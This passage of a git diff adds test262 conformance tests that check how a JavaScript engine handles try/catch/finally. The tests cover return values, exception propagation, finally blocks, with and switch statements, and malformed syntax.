+ $ERROR('#1.1: "return 1" inside function does not lead to throwing exception');
+ return 0;
+ }
+ return 2;
+}
+var x1=myFunction1();
+if(x1!==1){
+ $ERROR('#1.2: x1===1. Actual: x1==='+x1);
+}
+
+// CHECK#2
+function myFunction2(){
+ try{
+ throw "exc";
+ return 1;
+ }catch(err){
+ return 2;
+ }
+ return 3;
+}
+var x2=myFunction2();
+if (x2!==2){
+ $ERROR('#2: x2===2. Actual: x2==='+x2);
+}
+
+// CHECK#3
+function myFunction3(){
+ try{
+ return someValue;
+ }catch(err){
+ return 1;
+ }
+ return 2;
+}
+var x3=myFunction3();
+if (x3!==1){
+ $ERROR('#3: x3===1. Actual: x3==='+x3);
+}
+
+// CHECK#4
+function myFunction4(){
+ try{
+ throw "ex1";
+ return 1;
+ }catch(err){
+ throw "ex2"
+ return 0;
+ }
+ return 2;
+}
+try{
+ var x4=myFunction4();
+ $ERROR('#4.1: Throwing exception inside function lead to throwing exception outside this function');
+}
+catch(e){
+ if(e==="ex1"){
+ $ERROR('#4.2: Exception !=="ex1". Actual: catch previous exception');
+ }
+ if(e!=="ex2"){
+ $ERROR('#4.3: Exception ==="ex2". Actual: Exception ==='+ e );
+ }
+}
+
diff --git a/js/src/tests/test262/ch12/12.14/S12.14_A13_T2.js b/js/src/tests/test262/ch12/12.14/S12.14_A13_T2.js
new file mode 100644
index 000000000..947926476
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.14/S12.14_A13_T2.js
@@ -0,0 +1,182 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Using "try" with "catch" or "finally" statement with a "return" statement
+ *
+ * @path ch12/12.14/S12.14_A13_T2.js
+ * @description Using try/finally syntax construction
+ */
+
+// CHECK#1
+var c1=0;
+function myFunction1(){
+ try{
+ return 1;
+ }finally{
+ c1=1;
+ }
+ return 2;
+}
+var x1=myFunction1();
+if(x1!==1){
+ $ERROR('#1.1: x1===1. Actual: x1==='+x1);
+}
+if (c1!==1){
+ $ERROR('#1.2: "finally" block must be evaluated');
+}
+
+// CHECK#2
+var c2=0;
+function myFunction2(){
+ try{
+ throw "exc";
+ return 1;
+ }finally{
+ c2=1;
+ }
+ return 2;
+}
+try{
+ var x2=myFunction2();
+ $ERROR('#2.1: Throwing exception inside function lead to throwing exception outside this function');
+}
+catch(e){
+ if (c2!==1){
+ $ERROR('#2.2: "finally" block must be evaluated');
+ }
+}
+
+// CHECK#3
+var c3=0;
+function myFunction3(){
+ try{
+ return someValue;
+ }finally{
+ c3=1;
+ }
+ return 2;
+}
+try{
+ var x3=myFunction3();
+ $ERROR('#3.1: Throwing exception inside function lead to throwing exception outside this function');
+}
+catch(e){
+ if (c3!==1){
+ $ERROR('#3.2: "finally" block must be evaluated');
+ }
+}
+
+// CHECK#4
+var c4=0;
+function myFunction4(){
+ try{
+ return 1;
+ }finally{
+ c4=1;
+ throw "exc";
+ return 0;
+ }
+ return 2;
+}
+try{
+ var x4=myFunction4();
+ $ERROR('#4.2: Throwing exception inside function lead to throwing exception outside this function');
+}
+catch(e){
+ if (c4!==1){
+ $ERROR('#4.3: "finally" block must be evaluated');
+ }
+}
+
+// CHECK#5
+var c5=0;
+function myFunction5(){
+ try{
+ return 1;
+ }finally{
+ c5=1;
+ return someValue;
+ return 0;
+ }
+ return 2;
+}
+try{
+ var x5=myFunction5();
+ $ERROR('#5.2: Throwing exception inside function lead to throwing exception outside this function');
+}
+catch(e){
+ if (c5!==1){
+ $ERROR('#5.3: "finally" block must be evaluated');
+ }
+}
+
+// CHECK#6
+var c6=0;
+function myFunction6(){
+ try{
+ throw "ex1";
+ return 1;
+ }finally{
+ c6=1;
+ throw "ex2";
+ return 2;
+ }
+ return 3;
+}
+try{
+ var x6=myFunction6();
+ $ERROR('#6.1: Throwing exception inside function lead to throwing exception outside this function');
+}
+catch(e){
+ if(e==="ex1"){
+ $ERROR('#6.2: Exception !=="ex1". Actual: catch previous exception');
+ }
+ if(e!=="ex2"){
+ $ERROR('#6.3: Exception !=="ex1". Actual: '+e);
+ }
+ if (c6!==1){
+ $ERROR('#6.4: "finally" block must be evaluated');
+ }
+}
+
+// CHECK#7
+var c7=0;
+function myFunction7(){
+ try{
+ return 1;
+ }finally{
+ c7=1;
+ return 2;
+ }
+ return 3;
+}
+var x7=myFunction7();
+if(x7!==2){
+ $ERROR('#7.1: "catch" block must be evaluated');
+}
+if (c7!==1){
+ $ERROR('#7.2: "finally" block must be evaluated');
+}
+
+// CHECK#8
+var c8=0;
+function myFunction8(){
+ try{
+ throw "ex1";
+ }finally{
+ c8=1;
+ return 2;
+ }
+ return 3;
+}
+try{
+ var x8=myFunction8();
+}
+catch(ex1){
+ c8=10;
+}
+if (c8!==1){
+ $ERROR('#8: "finally" block must be evaluated');
+}
+
diff --git a/js/src/tests/test262/ch12/12.14/S12.14_A13_T3.js b/js/src/tests/test262/ch12/12.14/S12.14_A13_T3.js
new file mode 100644
index 000000000..9b3e4a3e9
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.14/S12.14_A13_T3.js
@@ -0,0 +1,186 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Using "try" with "catch" or "finally" statement with a "return" statement
+ *
+ * @path ch12/12.14/S12.14_A13_T3.js
+ * @description Using try/catch/finally syntax construction
+ */
+
+// CHECK#1
+var c1=0;
+function myFunction1(){
+ try{
+ return 1;
+ }catch(err){
+ $ERROR('#1.1: "return 1" inside function does not lead to throwing exception');
+ return 0;
+ }finally{
+ c1=1;
+ }
+ return 2;
+}
+var x1=myFunction1();
+if(x1!==1){
+ $ERROR('#1.3: x1===1. Actual: x1==='+x1);
+}
+if (c1!==1){
+ $ERROR('#1.4: "finally" block must be evaluated');
+}
+
+// CHECK#2
+var c2=0;
+function myFunction2(){
+ try{
+ throw "exc";
+ return 1;
+ }catch(err){
+ return 0;
+ }finally{
+ c2=1;
+ }
+ return 2;
+}
+var x2=myFunction2();
+if (c2!==1){
+ $ERROR('#2.1: "finally" block must be evaluated');
+}
+if (x2!==0){
+ $ERROR('#2.2: x2===0. Actual: x2==='+x2);
+}
+
+// CHECK#3
+var c3=0;
+function myFunction3(){
+ try{
+ return someValue;
+ }catch(err){
+ return 1;
+ }finally{
+ c3=1;
+ }
+ return 2;
+}
+var x3=myFunction3();
+if (c3!==1){
+ $ERROR('#3.1: "finally" block must be evaluated');
+}
+if (x3!==1){
+ $ERROR('#3.2: x3===1. Actual: x3==='+x3);
+}
+
+// CHECK#4
+var c4=0;
+function myFunction4(){
+ try{
+ throw "ex1";
+ return 1;
+ }catch(err){
+ throw "ex2"
+ return 0;
+ }finally{
+ c4=1;
+ }
+ return 2;
+}
+try{
+ var x4=myFunction4();
+ $ERROR('#4.1: Throwing exception inside function lead to throwing exception outside this function');
+}
+catch(e){
+ if(e==="ex1"){
+ $ERROR('#4.2: Exception !== "ex1". Actual: catch previous exception');
+ }
+ if(e!=="ex2"){
+ $ERROR('#4.3: Exception === "ex2". Actual: Exception ==='+ e );
+ }
+ if (c4!==1){
+ $ERROR('#4.4: "finally" block must be evaluated');
+ }
+}
+
+// CHECK#5
+var c5=0;
+function myFunction5(){
+ try{
+ throw "ex1";
+ return 1;
+ }catch(err){
+ return 0;
+ }finally{
+ c5=1;
+ throw "ex2";
+ }
+ return 2;
+}
+try{
+ var x5=myFunction5();
+ $ERROR('#5.1: Throwing exception inside function lead to throwing exception outside this function');
+}
+catch(e){
+ if(e==="ex1"){
+ $ERROR('#5.2: Exception !== "ex1". Actual: catch previous exception');
+ }
+ if(e!=="ex2"){
+ $ERROR('#5.3: Exception === "ex2". Actual: Exception ==='+ e );
+ }
+ if (c5!==1){
+ $ERROR('#5.4: "finally" block must be evaluated');
+ }
+}
+
+// CHECK#6
+var c6=0;
+function myFunction6(){
+ try{
+ throw "ex1";
+ return 1;
+ }catch(err){
+ throw "ex2";
+ return 0;
+ }finally{
+ c6=1;
+ throw "ex3";
+ }
+ return 2;
+}
+try{
+ var x6=myFunction6();
+ $ERROR('#6.1: Throwing exception inside function lead to throwing exception outside this function');
+}
+catch(e){
+ if(e==="ex1"){
+ $ERROR('#6.2: Exception !== "ex1". Actual: catch previous exception');
+ }
+ if(e==="ex2"){
+ $ERROR('#6.3: Exception !== "ex2". Actual: catch previous exception');
+ }
+ if(e!=="ex3"){
+ $ERROR('#6.4: Exception === "ex3". Actual: Exception ==='+ e );
+ }
+ if(c6!==1) $ERROR('#6.5: "finally" block must be evaluated');
+}
+
+// CHECK#7
+var c7=0;
+function myFunction7(){
+ try{
+ throw "ex1";
+ return 1;
+ }catch(err){
+ throw "ex2";
+ return 0;
+ }finally{
+ c7=1;
+ return 2;
+ }
+ return 3;
+}
+try{
+ var x7=myFunction7();
+ if(x7!==2) $ERROR('#7.1: x7===2. Actual: x7==='+x7);
+}
+catch(e){}
+if(c7!==1) $ERROR('#7.2: "finally" block must be evaluated');
+
diff --git a/js/src/tests/test262/ch12/12.14/S12.14_A14.js b/js/src/tests/test262/ch12/12.14/S12.14_A14.js
new file mode 100644
index 000000000..af2177a05
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.14/S12.14_A14.js
@@ -0,0 +1,79 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Using "try" with "catch" or "finally" statement within/without a "with" statement
+ *
+ * @path ch12/12.14/S12.14_A14.js
+ * @description Using try/catch/finally in With and With in try/catch/finally
+ * @noStrict
+ */
+
+var myObj = {p1: 'a',
+ p2: 'b',
+ p3: 'c',
+ value: 'myObj_value',
+ valueOf : function(){return 'obj_valueOf';},
+ parseInt : function(){return 'obj_parseInt';},
+ NaN : 'obj_NaN',
+ Infinity : 'obj_Infinity',
+ eval : function(){return 'obj_eval';},
+ parseFloat : function(){return 'obj_parseFloat';},
+ isNaN : function(){return 'obj_isNaN';},
+ isFinite : function(){return 'obj_isFinite';}
+}
+
+// CHECK#1
+try{
+ with(myObj){
+ throw "ex";
+ }
+}
+catch(e){
+ if (e!=="ex") $ERROR('#1: Exception ==="ex". Actual: Exception ==='+ e );
+}
+
+// CHECK#2
+with(myObj){
+ try{
+ throw p1;
+ }
+ catch(e){
+ if (e!=="a") $ERROR('#2.1: Exception ==="a". Actual: Exception ==='+ e );
+ p1='pass';
+ }
+}
+if(myObj.p1!=='pass') $ERROR('#2.2: "throw p1" lead to throwing exception');
+
+// CHECK#3
+with(myObj){
+ try{
+ p1='fail';
+ throw p2;
+ }
+ catch(e){
+ if (e!=="b") $ERROR('#3.1: Exception ==="b". Actual: Exception ==='+ e );
+ p1='pass';
+ }
+ finally{
+ p2='pass';
+ }
+}
+if(myObj.p1!=='pass') $ERROR('#3.2: "throw p2" lead to throwing exception');
+if(myObj.p2!=='pass') $ERROR('#3.3: "finally" block must be evaluated');
+
+// CHECK#4
+myObj.p1='fail';
+try{
+ with(myObj){
+ try{
+ throw p3;
+ }
+ finally{
+ p1='pass';
+ }
+ }
+}
+catch(e){}
+if(myObj.p1!=='pass') $ERROR('#4: "finally" block must be evaluated');
+
diff --git a/js/src/tests/test262/ch12/12.14/S12.14_A15.js b/js/src/tests/test262/ch12/12.14/S12.14_A15.js
new file mode 100644
index 000000000..abd6a63a7
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.14/S12.14_A15.js
@@ -0,0 +1,92 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Using "try" with "catch" or "finally" statement within/without a "switch" statement
+ *
+ * @path ch12/12.14/S12.14_A15.js
+ * @description Insert try/catch/finally to switch statement
+ */
+
+// CHECK#1
+function SwitchTest1(value){
+ var result = 0;
+ try{
+ switch(value) {
+ case 1:
+ result += 4;
+ throw result;
+ break;
+ default:
+ result += 32;
+ break;
+ case 4:
+ result += 64;
+ throw "ex";
+ }
+ return result;
+ }
+ catch(e){
+ if ((value===1)&&(e!==4)) $ERROR('#1.1: Exception ===4. Actual: Exception ==='+ e );
+ if ((value===4)&&(e!=="ex")) $ERROR('#1.2: Exception ==="ex". Actual: Exception ==='+ e );
+ }
+ finally{
+ return result;
+ }
+}
+if (SwitchTest1(1)!==4) $ERROR('#1.3: SwitchTest1(1)===4. Actual: SwitchTest1(1)==='+ SwitchTest1(1) );
+if (SwitchTest1(4)!==64) $ERROR('#1.4: SwitchTest1(4)===64. Actual: SwitchTest1(4)==='+ SwitchTest1(4) );
+
+// CHECK#2
+var c2=0;
+function SwitchTest2(value){
+ var result = 0;
+ switch(value) {
+ case 0:
+ try{
+ result += 2;
+ break;
+ }
+ finally{
+ c2=1;
+ }
+ case 1:
+ result += 4;
+ break;
+ default:
+ result += 32;
+ break;
+ }
+ return result;
+}
+if (SwitchTest2(1)!==4) $ERROR('#2.1: SwitchTest1(1)===4. Actual: SwitchTest1(1)==='+ SwitchTest1(1) );
+if (c2===1) $ERROR('#2.2: Evaluate finally block');
+if (SwitchTest2(0)!==2) $ERROR('#2.3: SwitchTest1(0)===2. Actual: SwitchTest1(0)==='+ SwitchTest1(0) );
+if (c2!==1) $ERROR('#2.4: "finally" block must be evaluated');
+
+// CHECK#3
+function SwitchTest3(value){
+ var result = 0;
+ switch(value) {
+ case 0:
+ try{
+ result += 2;
+ throw "ex";
+ }
+ finally{
+ break;
+ }
+ default:
+ result += 32;
+ break;
+ }
+ return result;
+}
+try{
+ var x3=SwitchTest3(0);
+ if (x3!==2) $ERROR('#3.1: x3===2. Actual: x3==='+x3);
+}
+catch(e){
+ $ERROR('#3.2: Catching exception inside function does not lead to throwing exception outside this function');
+}
+
diff --git a/js/src/tests/test262/ch12/12.14/S12.14_A16_T1.js b/js/src/tests/test262/ch12/12.14/S12.14_A16_T1.js
new file mode 100644
index 000000000..b6e39191b
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.14/S12.14_A16_T1.js
@@ -0,0 +1,14 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * TryStatement: "try Block Catch" or "try Block Finally" or "try Block Catch Finally"
+ *
+ * @path ch12/12.14/S12.14_A16_T1.js
+ * @description Checking if pure "try" syntax construction passes
+ * @negative
+ */
+
+// CHECK#1
+try
+
diff --git a/js/src/tests/test262/ch12/12.14/S12.14_A16_T10.js b/js/src/tests/test262/ch12/12.14/S12.14_A16_T10.js
new file mode 100644
index 000000000..2baef30d0
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.14/S12.14_A16_T10.js
@@ -0,0 +1,18 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * TryStatement: "try Block Catch" or "try Block Finally" or "try Block Catch Finally"
+ *
+ * @path ch12/12.14/S12.14_A16_T10.js
+ * @description Catch: "catch (Identifier ) Block"
+ * @negative
+ */
+
+// CHECK#1
+try{}
+catch(){}
+finally{}
+
+
+
diff --git a/js/src/tests/test262/ch12/12.14/S12.14_A16_T11.js b/js/src/tests/test262/ch12/12.14/S12.14_A16_T11.js
new file mode 100644
index 000000000..8d8699e6b
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.14/S12.14_A16_T11.js
@@ -0,0 +1,20 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * TryStatement: "try Block Catch" or "try Block Finally" or "try Block Catch Finally"
+ *
+ * @path ch12/12.14/S12.14_A16_T11.js
+ * @description Catch and Finally are placed into the Block of "try" (whitle expected outside)
+ * @negative
+ */
+
+// CHECK#1
+try{
+ {
+ }
+ catch(e){}
+ finally{}
+}
+
+
diff --git a/js/src/tests/test262/ch12/12.14/S12.14_A16_T12.js b/js/src/tests/test262/ch12/12.14/S12.14_A16_T12.js
new file mode 100644
index 000000000..dacc1a6a6
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.14/S12.14_A16_T12.js
@@ -0,0 +1,23 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * TryStatement: "try Block Catch" or "try Block Finally" or "try Block Catch Finally"
+ *
+ * @path ch12/12.14/S12.14_A16_T12.js
+ * @description Embedded "try" statements followed by two "catch" statements
+ * @negative
+ */
+
+// CHECK#1
+try
+{
+ try
+ {
+ }
+}
+catch(e1){}
+catch(e2){}
+
+
+
diff --git a/js/src/tests/test262/ch12/12.14/S12.14_A16_T13.js b/js/src/tests/test262/ch12/12.14/S12.14_A16_T13.js
new file mode 100644
index 000000000..20b475499
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.14/S12.14_A16_T13.js
@@ -0,0 +1,22 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * TryStatement: "try Block Catch" or "try Block Finally" or "try Block Catch Finally"
+ *
+ * @path ch12/12.14/S12.14_A16_T13.js
+ * @description Catch: "catch (Identifier ) Block". Checking if execution of "22" passes at the place of Identifier of "catch"
+ * @negative
+ */
+
+// CHECK#1
+try
+{
+}
+catch("22")
+{
+}
+
+
+
+
diff --git a/js/src/tests/test262/ch12/12.14/S12.14_A16_T14.js b/js/src/tests/test262/ch12/12.14/S12.14_A16_T14.js
new file mode 100644
index 000000000..dfcbc2c65
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.14/S12.14_A16_T14.js
@@ -0,0 +1,19 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * TryStatement: "try Block Catch" or "try Block Finally" or "try Block Catch Finally"
+ *
+ * @path ch12/12.14/S12.14_A16_T14.js
+ * @description Checking if passing argument to "try" statement fails
+ * @negative
+ */
+
+// CHECK#1
+try(e1){
+}
+catch(e){}
+
+
+
+
diff --git a/js/src/tests/test262/ch12/12.14/S12.14_A16_T15.js b/js/src/tests/test262/ch12/12.14/S12.14_A16_T15.js
new file mode 100644
index 000000000..720bf61dd
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.14/S12.14_A16_T15.js
@@ -0,0 +1,20 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * TryStatement: "try Block Catch" or "try Block Finally" or "try Block Catch Finally"
+ *
+ * @path ch12/12.14/S12.14_A16_T15.js
+ * @description Finally: "finally Block". Checking if passing argument to "try" statement fails
+ * @negative
+ */
+
+// CHECK#1
+try{
+}
+finally(e){}
+
+
+
+
+
diff --git a/js/src/tests/test262/ch12/12.14/S12.14_A16_T2.js b/js/src/tests/test262/ch12/12.14/S12.14_A16_T2.js
new file mode 100644
index 000000000..a3e9421d5
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.14/S12.14_A16_T2.js
@@ -0,0 +1,14 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * TryStatement: "try Block Catch" or "try Block Finally" or "try Block Catch Finally"
+ *
+ * @path ch12/12.14/S12.14_A16_T2.js
+ * @description Checking if execution of "catch" with no "try" fails
+ * @negative
+ */
+
+// CHECK#1
+catch
+
diff --git a/js/src/tests/test262/ch12/12.14/S12.14_A16_T3.js b/js/src/tests/test262/ch12/12.14/S12.14_A16_T3.js
new file mode 100644
index 000000000..237580b02
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.14/S12.14_A16_T3.js
@@ -0,0 +1,14 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * TryStatement: "try Block Catch" or "try Block Finally" or "try Block Catch Finally"
+ *
+ * @path ch12/12.14/S12.14_A16_T3.js
+ * @description Checking if execution of "finally" with no "try" fails
+ * @negative
+ */
+
+// CHECK#1
+finally
+
diff --git a/js/src/tests/test262/ch12/12.14/S12.14_A16_T4.js b/js/src/tests/test262/ch12/12.14/S12.14_A16_T4.js
new file mode 100644
index 000000000..ae3e45bba
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.14/S12.14_A16_T4.js
@@ -0,0 +1,15 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * TryStatement: "try Block Catch" or "try Block Finally" or "try Block Catch Finally"
+ *
+ * @path ch12/12.14/S12.14_A16_T4.js
+ * @description Catch: "catch (Identifier ) Block". Checking if execution of "catch" that takes no arguments fails
+ * @negative
+ */
+
+// CHECK#1
+try{}
+catch{}
+
diff --git a/js/src/tests/test262/ch12/12.14/S12.14_A16_T5.js b/js/src/tests/test262/ch12/12.14/S12.14_A16_T5.js
new file mode 100644
index 000000000..a825e889a
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.14/S12.14_A16_T5.js
@@ -0,0 +1,15 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * TryStatement: "try Block Catch" or "try Block Finally" or "try Block Catch Finally"
+ *
+ * @path ch12/12.14/S12.14_A16_T5.js
+ * @description Catch: "catch (Identifier ) Block". Checking if execution of "catch" with no Block fails
+ * @negative
+ */
+
+// CHECK#1
+try{}
+catch()
+
diff --git a/js/src/tests/test262/ch12/12.14/S12.14_A16_T6.js b/js/src/tests/test262/ch12/12.14/S12.14_A16_T6.js
new file mode 100644
index 000000000..8210671c4
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.14/S12.14_A16_T6.js
@@ -0,0 +1,15 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * TryStatement: "try Block Catch" or "try Block Finally" or "try Block Catch Finally"
+ *
+ * @path ch12/12.14/S12.14_A16_T6.js
+ * @description Block: "{ StatementList }". Checking if execution of "try{ catch{}{}" fails
+ * @negative
+ */
+
+// CHECK#1
+try{
+catch(){}
+
diff --git a/js/src/tests/test262/ch12/12.14/S12.14_A16_T7.js b/js/src/tests/test262/ch12/12.14/S12.14_A16_T7.js
new file mode 100644
index 000000000..76990243d
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.14/S12.14_A16_T7.js
@@ -0,0 +1,16 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * TryStatement: "try Block Catch" or "try Block Finally" or "try Block Catch Finally"
+ *
+ * @path ch12/12.14/S12.14_A16_T7.js
+ * @description Block: "{ StatementList }". Checking if execution of "try{} catch(){" fails
+ * @negative
+ */
+
+// CHECK#1
+try{}
+catch(){
+
+
diff --git a/js/src/tests/test262/ch12/12.14/S12.14_A16_T8.js b/js/src/tests/test262/ch12/12.14/S12.14_A16_T8.js
new file mode 100644
index 000000000..93774a7b6
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.14/S12.14_A16_T8.js
@@ -0,0 +1,18 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * TryStatement: "try Block Catch" or "try Block Finally" or "try Block Catch Finally"
+ *
+ * @path ch12/12.14/S12.14_A16_T8.js
+ * @description Block: "{ StatementList }". Catch: "catch (Identifier ) Block". Checking if execution of "try{} catch(){finally{}" fails
+ * @negative
+ */
+
+// CHECK#1
+try{}
+catch(){
+finally{}
+
+
+
diff --git a/js/src/tests/test262/ch12/12.14/S12.14_A16_T9.js b/js/src/tests/test262/ch12/12.14/S12.14_A16_T9.js
new file mode 100644
index 000000000..d7fb3308e
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.14/S12.14_A16_T9.js
@@ -0,0 +1,17 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * TryStatement: "try Block Catch" or "try Block Finally" or "try Block Catch Finally"
+ *
+ * @path ch12/12.14/S12.14_A16_T9.js
+ * @description Checking if execution of "catch(){} finally{}" fails
+ * @negative
+ */
+
+// CHECK#1
+catch(){}
+finally{}
+
+
+
diff --git a/js/src/tests/test262/ch12/12.14/S12.14_A17.js b/js/src/tests/test262/ch12/12.14/S12.14_A17.js
new file mode 100644
index 000000000..6878502e6
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.14/S12.14_A17.js
@@ -0,0 +1,45 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Using "try" with "catch" or "finally" statement in a constructor
+ *
+ * @path ch12/12.14/S12.14_A17.js
+ * @description Creating exceptions within constructor
+ */
+
+var i=1;
+function Integer( value, exception ) {
+ try{
+ this.value = checkValue( value );
+ if(exception) $ERROR('#'+i+'.1: Must be exception');
+ }
+ catch(e){
+ this.value = e.toString();
+ if(!exception) $ERROR('#'+i+'.2: Don`t must be exception');
+ }
+ i++;
+}
+
+function checkValue(value){
+ if(Math.floor(value)!=value||isNaN(value)){
+ throw (INVALID_INTEGER_VALUE +": " + value);
+ }
+ else{
+ return value;
+ }
+}
+
+// CHECK#1
+new Integer(13, false);
+// CHECK#2
+new Integer(NaN, true);
+// CHECK#3
+new Integer(0, false);
+// CHECK#4
+new Integer(Infinity, false);
+// CHECK#5
+new Integer(-1.23, true);
+// CHECK#6
+new Integer(Math.LN2, true);
+
diff --git a/js/src/tests/test262/ch12/12.14/S12.14_A18_T1.js b/js/src/tests/test262/ch12/12.14/S12.14_A18_T1.js
new file mode 100644
index 000000000..635c235d0
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.14/S12.14_A18_T1.js
@@ -0,0 +1,18 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Catching objects with try/catch/finally statement
+ *
+ * @path ch12/12.14/S12.14_A18_T1.js
+ * @description Catching undefined
+ */
+
+// CHECK#1
+try{
+ throw undefined;
+}
+catch(e){
+ if (e!==undefined) $ERROR('#1: Exception === undefined. Actual: '+e);
+}
+
diff --git a/js/src/tests/test262/ch12/12.14/S12.14_A18_T2.js b/js/src/tests/test262/ch12/12.14/S12.14_A18_T2.js
new file mode 100644
index 000000000..f6499be27
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.14/S12.14_A18_T2.js
@@ -0,0 +1,18 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Catching objects with try/catch/finally statement
+ *
+ * @path ch12/12.14/S12.14_A18_T2.js
+ * @description Catching null
+ */
+
+// CHECK#1
+try{
+ throw null;
+}
+catch(e){
+ if (e!==null) $ERROR('#1: Exception ===null. Actual: '+e);
+}
+
diff --git a/js/src/tests/test262/ch12/12.14/S12.14_A18_T3.js b/js/src/tests/test262/ch12/12.14/S12.14_A18_T3.js
new file mode 100644
index 000000000..1ee0644d1
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.14/S12.14_A18_T3.js
@@ -0,0 +1,62 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Catching objects with try/catch/finally statement
+ *
+ * @path ch12/12.14/S12.14_A18_T3.js
+ * @description Catching boolean
+ */
+
+// CHECK#1
+try{
+ throw true;
+}
+catch(e){
+ if (e!==true) $ERROR('#1: Exception ===true. Actual: Exception ==='+ e );
+}
+
+// CHECK#2
+try{
+ throw false;
+}
+catch(e){
+ if (e!==false) $ERROR('#2: Exception ===false. Actual: Exception ==='+ e );
+}
+
+// CHECK#3
+var b=false;
+try{
+ throw b;
+}
+catch(e){
+ if (e!==false) $ERROR('#3: Exception ===false. Actual: Exception ==='+ e );
+}
+
+// CHECK#4
+var b=true;
+try{
+ throw b;
+}
+catch(e){
+ if (e!==true) $ERROR('#4: Exception ===true. Actual: Exception ==='+ e );
+}
+
+// CHECK#5
+var b=true;
+try{
+ throw b&&false;
+}
+catch(e){
+ if (e!==false) $ERROR('#5: Exception ===false. Actual: Exception ==='+ e );
+}
+
+// CHECK#5
+var b=true;
+try{
+ throw b||false;
+}
+catch(e){
+ if (e!==true) $ERROR('#6: Exception ===true. Actual: Exception ==='+ e );
+}
+
diff --git a/js/src/tests/test262/ch12/12.14/S12.14_A18_T4.js b/js/src/tests/test262/ch12/12.14/S12.14_A18_T4.js
new file mode 100644
index 000000000..3cd7d9064
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.14/S12.14_A18_T4.js
@@ -0,0 +1,45 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Catching objects with try/catch/finally statement
+ *
+ * @path ch12/12.14/S12.14_A18_T4.js
+ * @description Catching string
+ */
+
+// CHECK#1
+try{
+ throw "exception #1";
+}
+catch(e){
+ if (e!=="exception #1") $ERROR('#1: Exception ==="exception #1". Actual: Exception ==='+ e );
+}
+
+// CHECK#2
+try{
+ throw "exception"+" #1";
+}
+catch(e){
+ if (e!=="exception #1") $ERROR('#2: Exception ==="exception #1". Actual: Exception ==='+ e );
+}
+
+// CHECK#3
+var b="exception #1";
+try{
+ throw b;
+}
+catch(e){
+ if (e!=="exception #1") $ERROR('#3: Exception ==="exception #1". Actual: Exception ==='+ e );
+}
+
+// CHECK#4
+var a="exception";
+var b=" #1";
+try{
+ throw a+b;
+}
+catch(e){
+ if (e!=="exception #1") $ERROR('#4: Exception ==="exception #1". Actual: Exception ==='+ e );
+}
+
diff --git a/js/src/tests/test262/ch12/12.14/S12.14_A18_T5.js b/js/src/tests/test262/ch12/12.14/S12.14_A18_T5.js
new file mode 100644
index 000000000..c46c421be
